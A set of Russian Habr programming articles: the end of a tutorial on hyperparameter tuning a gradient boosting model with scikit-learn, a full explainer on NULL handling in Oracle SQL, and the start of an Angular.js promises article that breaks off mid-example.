В нашем случае [градиентный бустинг](https://machinelearningmastery.com/gentle-introduction-gradient-boosting-algorithm-machine-learning/) (MAE = 10,013) оказался чуть лучше «случайного леса» (10,014 MAE). Хотя эти результаты нельзя считать абсолютно честными, потому что для гиперпараметров мы по большей части используем значения по умолчанию. Эффективность моделей сильно зависит от этих настроек, [особенно в методе опорных векторов](http://pyml.sourceforge.net/doc/howto.pdf). Тем не менее на основании этих результатов мы выберем градиентный бустинг и станем его оптимизировать.
Гиперпараметрическая оптимизация модели
---------------------------------------
После выбора модели можно оптимизировать её под решаемую задачу, настраивая гиперпараметры.
Но прежде всего давайте разберёмся, [что такое гиперпараметры и чем они отличаются от обычных параметров](https://machinelearningmastery.com/difference-between-a-parameter-and-a-hyperparameter/)?
* Гиперпараметры модели можно считать настройками алгоритма, которые мы задаём до начала его обучения. Например, гиперпараметром является количество деревьев в «случайном лесе», или количество соседей в методе k-ближайших соседей.
* Параметры модели — то, что она узнаёт в ходе обучения, например, веса в линейной регрессии.
Управляя гиперпараметром, мы влияем на результаты работы модели, меняя баланс между её [недообучением и переобучением](https://towardsdatascience.com/overfitting-vs-underfitting-a-conceptual-explanation-d94ee20ca7f9). Недообучением называется ситуация, когда модель недостаточно сложна (у неё слишком мало степеней свободы) для изучения соответствия признаков и цели. У недообученной модели [высокое смещение](https://en.wikipedia.org/wiki/Bias%E2%80%93variance_tradeoff) (bias), которое можно скорректировать посредством усложнения модели.
Переобучением называется ситуация, когда модель по сути запоминает учебные данные. У переобученной модели [высокая дисперсия](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D1%81%D0%BF%D0%B5%D1%80%D1%81%D0%B8%D1%8F_%D1%81%D0%BB%D1%83%D1%87%D0%B0%D0%B9%D0%BD%D0%BE%D0%B9_%D0%B2%D0%B5%D0%BB%D0%B8%D1%87%D0%B8%D0%BD%D1%8B) (variance), которую можно скорректировать с помощью ограничения сложности модели посредством регуляризации. Как недообученная, так и переобученная модель не сможет хорошо обобщить тестовые данные.
Трудность выбора правильных гиперпараметров заключается в том, что для каждой задачи будет уникальный оптимальный набор. Поэтому единственный способ выбрать наилучшие настройки — попробовать разные комбинации на новом датасете. К счастью, в Scikit-Learn есть ряд методов, позволяющих эффективно оценивать гиперпараметры. Более того, в проектах вроде [TPOT](https://epistasislab.github.io/tpot/) делаются попытки оптимизировать поиск гиперпараметров с помощью таких подходов, как [генетическое программирование](https://ru.wikipedia.org/wiki/%D0%93%D0%B5%D0%BD%D0%B5%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5). В этой статье мы ограничимся использованием Scikit-Learn.
#### Случайный поиск с перекрёстной проверкой
Давайте реализуем метод настройки гиперпараметров, который называется случайным поискок с перекрёстной проверкой:
* [Случайный поиск](https://en.wikipedia.org/wiki/Hyperparameter_optimization#Random_search) — методика выбора гиперпараметров. Мы определяем сетку, а потом из неё случайно выбираем различные комбинации, в отличие от сеточного поиска (grid search), при котором мы последовательно пробуем каждую комбинацию. Кстати, [случайный поиск работает почти так же хорошо, как и сеточный](http://www.jmlr.org/papers/volume13/bergstra12a/bergstra12a.pdf), но гораздо быстрее.
* [Перекрёстной проверкой](https://www.openml.org/a/estimation-procedures/1) называется способ оценки выбранной комбинации гиперпараметров. Вместо разделения данных на обучающий и тестовый наборы, что уменьшает количество доступных для обучения данных, мы воспользуемся k-блочной перекрёстной проверкой (K-Fold Cross Validation). Для этого мы разделим обучающие данные на k блоков, а затем прогоним итеративный процесс, в ходе которого сначала обучим модель на k-1 блоках, а затем сравним результат при обучении на k-ом блоке. Будем повторять процесс k раз, и в конце получим среднее значение ошибки для каждой итерации. Это и будет финальная оценка.
Вот наглядная иллюстрация k-блочной перекрёстной проверки при k = 5:
Весь процесс случайного поиска с перекрёстной проверкой выглядит так:
1. Задаём сетку гиперпараметров.
2. Случайно выбираем комбинацию гиперпараметров.
3. Создаём модель с использованием этой комбинации.
4. Оцениваем результат работы модели с помощью k-блочной перекрёстной проверки.
5. Решаем, какие гиперпараметры дают лучший результат.
Конечно, всё это делается не вручную, а с помощью `RandomizedSearchCV` из Scikit-Learn!
#### Небольшое отступление: [Методы градиентного бустинга](https://en.wikipedia.org/wiki/Gradient_boosting)
Мы будем использовать регрессионную модель на основе градиентного бустинга. Это сборный метод, то есть модель состоит из многочисленных «слабых учеников» (weak learners), в данном случае из отдельных деревьев решений (decision trees). Если в п[акетных алгоритмах вроде «случайного леса»](https://machinelearningmastery.com/bagging-and-random-forest-ensemble-algorithms-for-machine-learning/) ученики обучаются параллельно, а затем методом голосования выбирается результат прогнозирования, то в [boosting-алгоритмах](https://machinelearningmastery.com/gentle-introduction-gradient-boosting-algorithm-machine-learning/) вроде градиентного бустинга ученики обучаются последовательно, и каждый из них «сосредотачивается» на ошибках, сделанных предшественниками.
В последние годы boosting-алгоритмы стали популярны и часто побеждают на соревнованиях по машинному обучению. [Градиентный бустинг](http://blog.kaggle.com/2017/01/23/a-kaggle-master-explains-gradient-boosting/) — одна из реализаций, в которой для минимизации стоимости функции применяется градиентный спуск (Gradient Descent). Реализация градиентного бустинга в Scikit-Learn считается не такой эффективной, как в других библиотеках, например, в [XGBoost](http://xgboost.readthedocs.io/en/latest/model.html), но она неплохо работает на маленьких датасетах и выдаёт достаточно точные прогнозы.
#### Вернёмся к гиперпараметрической настройке
В регрессии с помощью градиентного бустинга есть много гиперпараметров, которые нужно настраивать, за подробностями отсылаю вас к документации Scikit-Learn. Мы будем оптимизировать:
* `loss`: минимизация функции потерь;
* `n_estimators`: количество используемых слабых деревьев решений (decision trees);
* `max_depth`: максимальная глубина каждого дерева решений;
* `min_samples_leaf`: минимальное количество примеров, которые должны быть в «листовом» (leaf) узле дерева решений;
* `min_samples_split`: минимальное количество примеров, которые нужны для разделения узла дерева решений;
* `max_features`: максимальное количество признаков, которые используются для разделения узлов.
Не уверен, что хоть кто-нибудь действительно понимает, как всё это работает, и единственный способ найти лучшую комбинацию — перепробовать разные варианты.
В этом коде мы создаём сетку из гиперпараметров, затем создаём объект `RandomizedSearchCV` и ищем с помощью 4-блочной перекрёстной проверки по 25 разным комбинациям гиперпараметров:
```
# Loss function to be optimized
loss = ['ls', 'lad', 'huber']
# Number of trees used in the boosting process
n_estimators = [100, 500, 900, 1100, 1500]
# Maximum depth of each tree
max_depth = [2, 3, 5, 10, 15]
# Minimum number of samples per leaf
min_samples_leaf = [1, 2, 4, 6, 8]
# Minimum number of samples to split a node
min_samples_split = [2, 4, 6, 10]
# Maximum number of features to consider for making splits
max_features = ['auto', 'sqrt', 'log2', None]
# Define the grid of hyperparameters to search
hyperparameter_grid = {'loss': loss,
'n_estimators': n_estimators,
'max_depth': max_depth,
'min_samples_leaf': min_samples_leaf,
'min_samples_split': min_samples_split,
'max_features': max_features}
# Create the model to use for hyperparameter tuning
model = GradientBoostingRegressor(random_state = 42)
# Set up the random search with 4-fold cross validation
random_cv = RandomizedSearchCV(estimator=model,
param_distributions=hyperparameter_grid,
cv=4, n_iter=25,
scoring = 'neg_mean_absolute_error',
n_jobs = -1, verbose = 1,
return_train_score = True,
random_state=42)
# Fit on the training data
random_cv.fit(X, y) After performing the search, we can inspect the RandomizedSearchCV object to find the best model:
# Find the best combination of settings
random_cv.best_estimator_
GradientBoostingRegressor(loss='lad', max_depth=5,
max_features=None,
min_samples_leaf=6,
min_samples_split=6,
n_estimators=500)
```
Эти результаты можно использовать для сеточного поиска, выбирая для сетки параметры, которые близки к этим оптимальным значениям. Но дальнейшая настройка вряд ли существенно улучшит модель. Есть общее правило: грамотное конструирование признаков окажет на точность модели куда большее влияние, чем самая дорогая гиперпараметрическая настройка. Это [закон убывания доходности применительно к машинному обучению](http://www.picnet.com.au/blogs/guido/2018/04/13/diminishing-returns-machine-learning-projects/): конструирование признаков даёт наивысшую отдачу, а гиперпараметрическая настройка приносит лишь скромную выгоду.
Для изменения количества оценщиков (estimator) (деревьев решений) с сохранением значений других гиперпараметров можно поставить один эксперимент, который продемонстрирует роль этой настройки. Реализация приведена [здесь](https://github.com/WillKoehrsen/machine-learning-project-walkthrough/blob/master/Machine%20Learning%20Project%20Part%202.ipynb), а вот что получилось в результате:
С ростом количества используемых моделью деревьев снижается уровень ошибок в ходе обучения и тестирования. Но ошибки при обучении снижаются куда быстрее, и в результате модель переобучается: показывает отличные результаты на обучающих данных, но на тестовых работает хуже.
На тестовых данных точность всегда снижается (ведь модель видит правильные ответы для учебного датасета), но существенное падение [говорит о переобучении](https://www.kdnuggets.com/2015/01/clever-methods-overfitting-avoid.html). Решить эту проблему можно с помощью увеличения объёма обучающих данных или [уменьшения сложности модели с помощью гиперпараметров](https://www.analyticsvidhya.com/blog/2016/02/complete-guide-parameter-tuning-gradient-boosting-gbm-python/). Здесь мы не будем касаться гиперпараметров, но я рекомендую всегда уделять внимание проблеме переобучения.
Для нашей финальной модели мы возьмём 800 оценщиков, потому что это даст нам самый низкий уровень ошибки при перекрёстной проверке. А теперь протестируем модель!
Оценка с помощью тестовых данных
--------------------------------
Будучи ответственными людьми мы удостоверились, что наша модель никоим образом не получала доступ к тестовым данным в ходе обучения. Поэтому [точность при работе с тестовыми данными мы можем использовать в роли индикатора](https://www.coursera.org/learn/deep-neural-network/lecture/cxG1s/train-dev-test-sets) качества модели, когда её допустят к реальным задачам.
Скормим модели тестовые данные и вычислим ошибку. Вот сравнение результатов алгоритма градиентного бустинга по умолчанию и нашей настроенной модели:
```
# Make predictions on the test set using default and final model
default_pred = default_model.predict(X_test)
final_pred = final_model.predict(X_test)
Default model performance on the test set: MAE = 10.0118.
Final model performance on the test set: MAE = 9.0446.
```
Гиперпараметрическая настройка помогла улучшить точность модели примерно на 10 %. В зависимости от ситуации это может быть очень значительное улучшение, но требующее немало времени.
Сравнить длительность обучения обеих моделей можно с помощью волшебной команды `%timeit` в Jupyter Notebooks. Сначала измерим длительность работы модели по умолчанию:
```
%%timeit -n 1 -r 5
default_model.fit(X, y)
1.09 s ± 153 ms per loop (mean ± std. dev. of 5 runs, 1 loop each)
```
Одна секунда на обучение — очень прилично. А вот настроенная модель уже не такая шустрая:
```
%%timeit -n 1 -r 5
final_model.fit(X, y)
12.1 s ± 1.33 s per loop (mean ± std. dev. of 5 runs, 1 loop each)
```
Эта ситуация иллюстрирует фундаментальный аспект машинного обучения: [всё дело в компромиссах](http://people.inf.ethz.ch/jaggim/meetup/slides/ML-meetup-9-vonRohr-kaggle.pdf). Постоянно приходится выбирать баланс между точностью и интерпретируемостью, между [смещением и дисперсией](https://machinelearningmastery.com/gentle-introduction-to-the-bias-variance-trade-off-in-machine-learning/), между точностью и временем работы, и так далее. Правильное сочетание полностью определяется конкретной задачей. В нашем случае 12-кратное увеличение длительности работы в относительном выражении велико, но в абсолютном — незначительно.
Мы получили финальные результаты прогнозирования, давайте теперь их проанализируем и выясним, есть ли какие-то заметные отклонения. Слева показан график плотности прогнозных и реальных значений, справа — гистограмма погрешности:
Прогноз модели неплохо повторяет распределение реальных значений, при этом на обучающих данных пик плотности расположен ближе к медианному значению (66), чем к реальному пику плотности (около 100). Погрешности имеют почти нормальное распределение, хотя есть несколько больших отрицательных значений, когда прогноз модели сильно отличается от реальных данных. В следующей статье мы подробнее рассмотрим интерпретирование результатов.
Заключение
----------
В этой статье мы рассмотрели несколько этапов решения задачи машинного обучения:
* Заполнение отсутствующих значений и масштабирование признаков.
* Оценка и сравнение результатов работы нескольких моделей.
* Гиперпараметрическая настройка с помощью случайного поиска по сетке и перекрёстной проверки.
* Оценка лучшей модели с помощью тестовых данных.
Результаты свидетельствуют, что мы можем применять машинное обучение для прогнозирования баллов Energy Star Score на основе доступной статистики. С помощью градиентного бустинга удалось на тестовых данных добиться погрешности в пределах 9,1. Гиперпараметрическая настройка может сильно улучшить результаты, но ценой значительного замедления работы. Это один из многих компромиссов, которые нужно учитывать в машинном обучении.
В следующей статье мы постараемся разобраться, как работает наша модель. Также мы рассмотрим основные факторы, влияющие на балл Energy Star Score. Если мы знаем, что модель точна, и то попробуем понять, почему она прогнозирует именно так и что это говорит нам о самой задаче. | https://habr.com/ru/post/425907/ | null | ru | null |
# Заметка про NULL
Всем привет!
Долго думал, что бы написать полезного про Оракл, перепробовал кучу тем. Каждый раз получалось слишком длинно, потому что уносило глубоко в дебри. Поэтому решил начать с максимально простой темы, чтобы оценить интерес аудитории и её отношение к моему стилю изложения материала (имхо, писатель из меня не очень). Несколько замечаний:* заметка относится к СУБД Oracle, но большинство написанного касается и других СУБД;
* не получилось симпатично оформть код: тег source lang=«sql» подсвечивает слишком мало, как сделать по другому не в курсе. Если кто покажет, быстро всё приведу в более читабельный вид.
Итак.
Основные положения
==================
Специальное значение NULL означает отсутствие данных, констатацию того факта, что значение неизвестно. По умолчанию это значение могут принимать столбцы и переменные любых типов, если только на них не наложено ограничение `NOT NULL`. Также, СУБД автоматически добавляет ограничение `NOT NULL` к столбцам, включенным в первичный ключ таблицы.
Основная особенность NULLа заключается в том, что он не равен ничему, даже другому NULLу. С ним нельзя сравнить какое-либо значение с помощью любых операторов: `=`, `<`, `>`, `like`… Даже выражение `NULL != NULL` не будет истинным, ведь нельзя однозначно сравнить одну неизвестность с другой. Кстати, ложным это выражение тоже не будет, потому что при вычислении условий Oracle не ограничивается состояниями `ИСТИНА` и `ЛОЖЬ`. Из-за наличия элемента неопределённости в виде NULLа существует ещё одно состояние — `НЕИЗВЕСТНО`.
Таким образом, Oracle оперирует не двухзначной, а трёхзначной логикой. Эту особенность заложил в свою реляционную теорию дедушка Кодд, а Oracle, являясь реляционной СУБД, полностью следует его заветам. Чтобы не медитировать над “странными” результатами запросов, разработчику необходимо знать таблицу истинности трёхзначной логики. Ознакомиться с ней можно, например, на английской википедии: [Three-valued\_logic](http://en.wikipedia.org/wiki/Three-valued_logic).
*Для удобства сделаем процедуру, печатающую состояние булевого параметра:*
```
create procedure test_bool( p_bool boolean ) is
begin
case when p_bool = true then dbms_output.put_line('TRUE');
when p_bool = false then dbms_output.put_line('FALSE');
else dbms_output.put_line('UNKNOWN');
end case;
end test_bool;
```
*и включим опцию печати сообщений на консоль:*
```
set serveroutput on
```
*Привычные операторы сравнения пасуют перед NULLом:*
```
exec test_bool( null = null ); -- UNKNOWN
exec test_bool( null != null ); -- UNKNOWN
exec test_bool( null = 'a' ); -- UNKNOWN
exec test_bool( null != 'a' ); -- UNKNOWN
```
Сравнение с NULLом
==================
Существуют специальные операторы `IS NULL` и `IS NOT NULL`, которые позволяют производить сравнения с NULLами. `IS NULL` вернёт истину, если операнд имеет значение `NULL` и ложь, если он им не является.
```
select case when null is null then 'YES' else 'NO' end from dual; -- YES
select case when 'a' is null then 'YES' else 'NO' end from dual; -- NO
```
Соответственно, `IS NOT NULL` действует наоборот: вернёт истину, если значение операнда отлично от NULLа и ложь, если он является NULLом:
```
select case when 'a' is NOT null then 'YES' else 'NO' end from dual; -- YES
select case when null is NOT null then 'YES' else 'NO' end from dual; -- NO
```
Кроме того, есть пара исключений из правил, касающихся сравнений с отсутствующими значениями. Во-первых, — это функция `DECODE`, которая считает два NULLа эквивалентными друг другу. Во-вторых, — это составные индексы: если два ключа содержат пустые поля, но все их непустые поля равны, то Oracle считает эти два ключа эквивалентными.
*`DECODE` идёт против системы:*
```
select decode( null
, 1, 'ONE'
, null, 'EMPTY' -- это условие будет истинным
, 'DEFAULT'
)
from dual;
```
Пример с составными индексами находится в параграфе про индексы.
Логические операции и NULL
==========================
Обычно, состояние `НЕИЗВЕСТНО` обрабатывается так же, как `ЛОЖЬ`. Например, если вы выбираете строки из таблицы и вычисление условия `x = NULL` в предложении `WHERE` дало результат `НЕИЗВЕСТНО`, то вы не получите ни одной строки. Однако, есть и отличие: если выражение `НЕ(ЛОЖЬ)` вернёт истину, то `НЕ(НЕИЗВЕСТНО)` вернёт `НЕИЗВЕСТНО`. Логические операторы `AND` и `OR` также имеют свои особенности при обработке неизвестного состояния. Конкретика в примере ниже.
*В большинстве случаев неизвестный результат обрабатывается как `ЛОЖЬ`:*
```
select 1 from dual where dummy = null; -- запрос не вернёт записей
```
*Отрицание неизвестности даёт неизвестность:*
```
exec test_bool( not(null = null) ); -- UNKNOWN
exec test_bool( not(null != null) ); -- UNKNOWN
exec test_bool( not(null = 'a') ); -- UNKNOWN
exec test_bool( not(null != 'a') ); -- UNKNOWN
```
*Оператор `OR`:*
```
exec test_bool( null or true ); -- TRUE <- !!!!!
exec test_bool( null or false ); -- UNKNOWN
exec test_bool( null or null ); -- UNKNOWN
```
*Оператор `AND`:*
```
exec test_bool( null and true ); -- UNKNOWN
exec test_bool( null and false ); -- FALSE <- !!!!!
exec test_bool( null and null ); -- UNKNOWN
```
Операторы IN и NOT IN
=====================
Для начала сделаем несколько предварительных действий. Для тестов создадим таблицу `T` с одним числовым столбцом `A` и четырьмя строками: `1, 2, 3` и `NULL`
```
create table t as select column_value a from table(sys.odcinumberlist(1,2,3,null));
```
Включим трассировку запроса (для этого надо обладать ролью `PLUSTRACE`).
В листингах от трассировки оставлена только часть filter, чтобы показать, во что разворачиваются указанные в запросе условия.
```
set autotrace on
```
Предварительные действия закончены, давайте теперь поработаем с операторами. Попробуем выбрать все записи, которые входят в набор `(1, 2, NULL)`:
```
select * from t where a in(1,2,null); -- вернёт [1,2]
-- Predicate Information:
-- filter("A"=1 OR "A"=2 OR "A"=TO_NUMBER(NULL))
```
Как видим, строка с NULLом не выбралась. Произошло это из-за того, что вычисление предиката `"A"=TO_NUMBER(NULL)` вернуло состояние `НЕИЗВЕСТНО`. Для того, чтобы включить NULLы в результат запроса, придётся указать это явно:
```
select * from t where a in(1,2) or a is null; -- вернёт [1,2,NULL]
-- Predicate Information:
-- filter("A" IS NULL OR "A"=1 OR "A"=2)
```
Попробуем теперь с `NOT IN`:
```
select * from t where a not in(1,2,null); -- no rows selected
-- Predicate Information:
-- filter("A"<>1 AND "A"<>2 AND "A"<>TO_NUMBER(NULL))
```
Вообще ни одной записи! Давайте разберёмся, почему тройка не попала в результаты запроса. Посчитаем вручную фильтр, который применила СУБД, для случая `A=3`:
```
3<>1 AND 3<>2 AND 3<>to_number(NULL)
\ / \ / \ /
true AND true AND unknown
\ / /
true AND unknown
\ /
unknown
```
Из-за особенностей трёхзначной логики `NOT IN` вообще не дружит с NULLами: как только NULL попал в условия отбора, данных не ждите.
NULL и пустая строка
====================
Здесь Oracle отходит от стандарта ANSI SQL и провозглашает эквивалентность NULLа и пустой строки. Это, пожалуй, одна из наиболее спорных фич, которая время от времени рождает многостраничные обсуждения с переходом на личности, поливанием друг друга фекалиями и прочими непременными атрибутами жёстких споров. Судя по документации, Oracle и сам бы не прочь изменить эту ситуацию (там сказано, что хоть сейчас пустая строка и обрабатывается как NULL, в будущих релизах это может измениться), но на сегодняшний день под эту СУБД написано такое колоссальное количество кода, что взять и поменять поведение системы вряд ли реально. Тем более, говорить об этом они начали как минимум с седьмой версии СУБД (1992-1996 годы), а сейчас уже двенадцатая на подходе.
*NULL и пустая строка эквивалентны:*
```
exec test_bool( '' is null ); -- TRUE
```
*непременный атрибут жёсткого спора:*
```
select count(*) comments_count, avg(c.vote) avg_vote
from habr.comments c join habr.posts p on( c.post_id = p.id )
where lower(p.title) like '%пробел%'
and lower(p.title) like '%табуляци%';
COMMENTS_COUNT AVG_VOTE
--------------- ---------
100500 -100
```
Если последовать завету классика и посмотреть в корень, то причину эквивалентности пуcтой строки и NULLа можно найти в формате хранения varchar`ов и NULLов внутри блоков данных. Oracle хранит строки таблицы в структуре, состоящей из заголовка, за которым следуют столбцы данных. Каждый столбец представлен двумя полями: длина данных в столбце (1 или 3 байта) и, собственно, сами данные. Если `varchar2` имеет нулевую длину, то в поле с данными писать нечего, оно не занимает ни байта, а в поле с длиной записывается специальное значение `0xFF`, обозначающее отсутствие данных. NULL представлен точно так же: поле с данными отсутствует, а в поле с длиной записывается `0xFF`. Разработчики Оракла могли бы, конечно, разделить эти два состояния, но так уж издревле у них повелось.
Лично мне эквивалентность пустой строки и NULLа кажется вполне естественной и логичной. Само название «пустая строка» подразумавает отсутствие значения, пустоту, дырку от бублика. NULL, в общем-то, обозначает то же самое. Но здесь есть неприятное следствие: если про пустую строку можно с уверенностью сказать, что её длина равна нулю, то длина NULLа никак не определена. Поэтому, выражение `length('')` вернёт вам NULL, а не ноль, как вы, очевидно, ожидали. Ещё одна проблема: нельзя сравнивать с пустой строкой. Выражение `val = ''` вернёт состояние `НЕИЗВЕСТНО`, так как, по сути, эквивалентно `val = NULL`.
*Длина пустой строки не определена:*
```
select length('') from dual; -- NULL
```
*Сравнение с пустой строкой невозможно:*
```
exec test_bool( 'a' != '' ); -- UNKNOWN
```
Критики подхода, предлагаемого Ораклом, говорят о том, что пустая строка не обязательно обозначает неизвестность. Например, менеджер по продажам заполняет карточку клиента. Он может указать его контактный телефон (555-123456), может указать, что он неизвестен (NULL), а может и указать, что контактный телефон отсутствует (пустая строка). С оракловым способом хранения пустых строк реализовать последний вариант будет проблемно. С точки зрения семантики довод правильный, но у меня на него всегда возникает вопрос, полного ответа на который я так и не получил: как менеджер введёт в поле «телефон» пустую строку и как он в дальнейшем отличит его от NULLа? Варианты, конечно, есть, но всё-таки…
Вообще-то, если говорить про PL/SQL, то где-то глубоко внутри его движка пустая строка и NULL различаются. Один из способов увидеть это связан с тем, что ассоциативные коллекции позволяют сохранить элемент с индексом `''` (пустая строка), но не позволяют сохранить элемент с индексом NULL:
```
declare
procedure empty_or_null( p_val varchar2 ) is
type tt is table of varchar2(1) index by varchar2(10);
t tt;
begin
if p_val is not null then
dbms_output.put_line('не пусто');
else
-- пытаемся создать элемент с индексом p_val
t(p_val) := 'x';
-- получилось! Значит, пустая строка
dbms_output.put_line('пустая строка');
end if;
exception
-- создать элемент с индексом p_val не получилось. Значит, NULL
when others then dbms_output.put_line('NULL');
end;
begin
empty_or_null( 'qwe' ); -- не пусто
empty_or_null( '' ); -- пустая строка
empty_or_null( NULL ); -- NULL
end;
```
Использовать такие финты ушами на практике не стоит. Во избежание проблем лучше усвоить правило из доки: пустая строка и NULL в оракле неразличимы.
Математика NULLа
================
Этот маленький абзац писался пятничным вечером под пиво, на фоне пятничного РЕН-ТВшного фильма. Переписывать его лень, уж извините.
Задача. У Маши до замужества с Колей было неизвестное количество любовников. Коля знает, что после замужества у Маши был секс с ним, Сашей и Витей. Помогите найти Коле точное количество любовников Маши.
Очевидно, что мы ничем не сможем помочь Коле: неизвестное количество любовников Маши до замужества сводит все расчёты к одному значению — неизвестно. Oracle, хоть и назвался оракулом, в этом вопросе уходит не дальше, чем участники битвы экстрасенсов: он даёт очевидные ответы только на очевидные вопросы. Хотя, надо признать, что Oracle гораздо честнее: в случае с Колей он не будет заниматься психоанализом и сразу скажет: «я не знаю»:
```
select decode( null + 10, null, 'неизвестно', 'известно') a from dual; -- неизвестно
select decode( null * 10, null, 'неизвестно', 'известно') a from dual; -- неизвестно
select decode( abs(null), null, 'неизвестно', 'известно') a from dual; -- неизвестно
select decode( sign(null), null, 'неизвестно', 'известно') a from dual; -- неизвестно
```
С конкатенацией дела обстоят по другому: вы можете добавить NULL к строке и это её не изменит. Такая вот политика двойных стандартов.
```
select null ||'AA'|| null ||'BB'|| null from dual; -- AABB
```
NULL и агрегатные функции
=========================
Почти все агрегатные функции, за исключением `COUNT` (и то не всегда), игнорируют пустые значения при расчётах. Если бы они этого не делали, то первый же залетевший NULL привёл бы результат функции к неизвестному значению. Возьмём для примера функцию `SUM`, которой необходимо просуммировать ряд `(1, 3, null, 2)`. Если бы она учитывала пустые значения, то мы бы получили такую последовательность действий:
`1 + 3 = 4; 4 + null = null; null + 2 = null`.
Вряд ли вас устроит такой расчёт при вычислении агрегатов, ведь вы наверняка не это хотели получить. А какой бы был геморрой с построением хранилищ данных… Бррррр…
*Таблица с данными. Используется ниже много раз:*
```
create table agg( id int, n int );
insert into agg values( 1, 1 );
insert into agg values( 2, 3 );
insert into agg values( 3, null );
insert into agg values( 4, 2 );
commit;
```
*Пустые значения игнорируются агрегатами:*
```
select sum(n) from agg; -- 6
```
Функция подсчёта количества строк `COUNT`, если используется в виде `COUNT(*)` или `COUNT(константа)`, будет учитывать пустые значения. Однако, если она используется в виде `COUNT(выражение)`, то пустые значения будут игнорироваться.
*с константой:*
```
select count(*) from agg; -- 4
select count(1+1) from agg; -- 4
select count(user) from agg; -- 4
```
*С выражением:*
```
select count(n) from agg; -- 3
select count(id) from agg; -- 4
select count(abs(n)) from agg; -- 3
```
Также, следует быть осторожным с функциями вроде `AVG`. Поскольку она проигнорирует пустые значения, результат по полю `N` будет равен `(1+3+2)/3`, а не `(1+3+2)/4`. Возможно, такой расчёт среднего вам не нужен. Для решения подобных проблем есть стандартное решение — воспользоваться функцией `NVL`:
```
select avg(n) from agg; -- (1 + 3 + 2) / 3 = 2
select avg(nvl(n,0)) from agg; -- (1 + 3 + 0 + 2) / 4 = 1.5
```
Агрегатные функции возвращают состояние `НЕИЗВЕСТНО`, если они применяются к пустому набору данных, либо если он состоит только из NULLов. Исключение составляют предназначенные для подсчёта количества строк функции `REGR_COUNT` и `COUNT(выражение)`. Они в перечисленных выше случаях вернут ноль.
*Набор данных только из NULLов:*
```
select sum(n) from agg where n is null; -- НЕИЗВЕСТНО
select avg(n) from agg where n is null; -- НЕИЗВЕСТНО
select regr_count(n,n) from agg where n is null; -- 0
select count(n) from agg where n is null; -- 0
```
*Пустой набор данных:*
```
select sum(n) from agg where 1 = 0; -- НЕИЗВЕСТНО
select avg(n) from agg where 1 = 0; -- НЕИЗВЕСТНО
select regr_count(n,n) from agg where 1 = 0; -- 0
select count(n) from agg where 1 = 0; -- 0
```
### NULL в OLAP
Очень коротко ещё об одной особенности, связанной с агрегатами. В многомерных кубах NULL в результах запроса может означать как отсутствие данных, так и признак группировки по измерению. Самое противное, что на глаз эти две его ипостаси никак не различишь. К счастью, есть специальные функции `GROUPING` и `GROUPING_ID`, у которых глаз острее. `GROUPING(столбец)` вернёт единицу, если NULL в столбце измерения означает признак группировки по этому столбцу и ноль, если там содержится конкретное значение (в частности, NULL). Функция `GROUPING_ID` — это битовый вектор из `GROUPING`ов, в этой заметке она точно лишняя.
В общем, такая вот краткая и сумбурная информация про дуализм NULLа в многомерном анализе. Ниже пример использования `GROUPING`, а за подробностями велкам ту [Data Warehousing Guide, глава 21](http://download.oracle.com/docs/cd/E11882_01/server.112/e16579/aggreg.htm#i1007462).
*Удобная фишка sqlplus: при выводе данных заменяет NULL на указанную строку:*
```
set null [NULL]
```
*Проверяем дуализм NULLа в многомерном кубе:*
```
with t as (
-- Иван купил 1 кефир
select 'IVAN' customer, 'KEFIR' product, 1 qty from dual union all
-- неизвестный покупатель купил 2 молока
select NULL customer, 'MOLOKO' product, 2 qty from dual union all
-- Иван купил 2 молока
select 'IVAN' customer, 'MOLOKO' product, 2 qty from dual
)
select customer cust, grouping(customer) grp_c
, product prod, grouping(product) grp_p
, sum(qty) qty
from t
group by cube(customer, product)
order by grp_c, grp_p;
CUST GRP_C PROD GRP_P QTY
---- ----- ------ ----- ----
[NULL] 0 MOLOKO 0 2 -- безымянный клиент купил 2 упаковки молока
IVAN 0 KEFIR 0 1 -- Иван купил 1 упаковку кефира
IVAN 0 MOLOKO 0 2 -- Иван купил 2 упаковки молока
IVAN 0 [NULL] 1 3 -- Иван купил 3 упаковки всех товаров
[NULL] 0 [NULL] 1 2 -- безымянный клиент купил 2 упаковки всех товаров
[NULL] 1 MOLOKO 0 4 -- все клиенты купили 4 упаковки молока
[NULL] 1 KEFIR 0 1 -- все клиенты купили 1 упаковку кефира
[NULL] 1 [NULL] 1 5 -- все клиенты купили 5 упаковок всех товаров
```
Что осталось за кадром
======================
Получилось довольно длинно, поэтому часть информации пришлось вырезать. А именно:
* NULL в индексах (обычные, составные, бинарные, функциональные). Там у меня больше листингов, чем текста;
* разбор функций для работы с NULLами: документированных и не очень;
* работа с NULLами в запросах (всяческие кейсы)
* может, ещё какие-то моменты забыл упомянуть, пишите в комментарии, добавлю.
Критика, дополнения и намёки на некомпетентность автора (с отсылкой в доку) приветствуются. Собственно, для этого всё и затевалось. | https://habr.com/ru/post/127327/ | null | ru | null |
# Правильное использование promise в angular.js
В процессе использования angular.js трудно обойтись без объекта $q (он же promise/deferred), ведь он лежит в основе всего фреймворка. Deferred механизм является очень простым и мощным инструментом, который позволяет писать лаконичный код. Но чтобы по-настоящему использовать эту мощь, необходимо знать обо всех возможностях данного инструмента.
Вот несколько моментов, о которых вы возможно не знали.
---
#### 1. then всегда возвращает новый promise
Взглянем на пример:
```
function asyncFunction() {
var deferred = $q.defer();
doSomethingAsync().then(function(res) {
res = asyncManipulate(res);
deferred.resolve(res);
}, function(err) {
deferred.reject(err);
});
return deferred.promise;
}
```
Здесь бессмысленно создается новое обещание `$q.defer()`. Автор кода явно не знал, что then итак вернет promise. Чтобы улучшить код, просто вернем результат then:
```
function asyncFunction() {
return doSomethingAsync().then(function(res) {
return asyncManipulate(res);
});
}
```
#### 2. Результат promise «не теряется»
Снова пример:
```
function asyncFunction() {
return doSomethingAsync().then(function(res) {
return asyncManipulate(res);
}, function(err) {
return $q.reject(err);
});
}
```
Любой результат выполнения функции `doSomethingAsync`, будь то resolve или reject, будет «всплывать» до тех пор пока не найдет свой обработчик (если обработчик вообще существует). Это значит, что если нет необходимости в обработке результата, то можно просто опустить соответствующий обработчик, ведь результат никуда не исчезнет, он просто пройдет дальше. В данном примере можно безболезненно убрать второй обработчик (обработка reject), так как никаких манипуляций не производится:
```
function asyncFunction() {
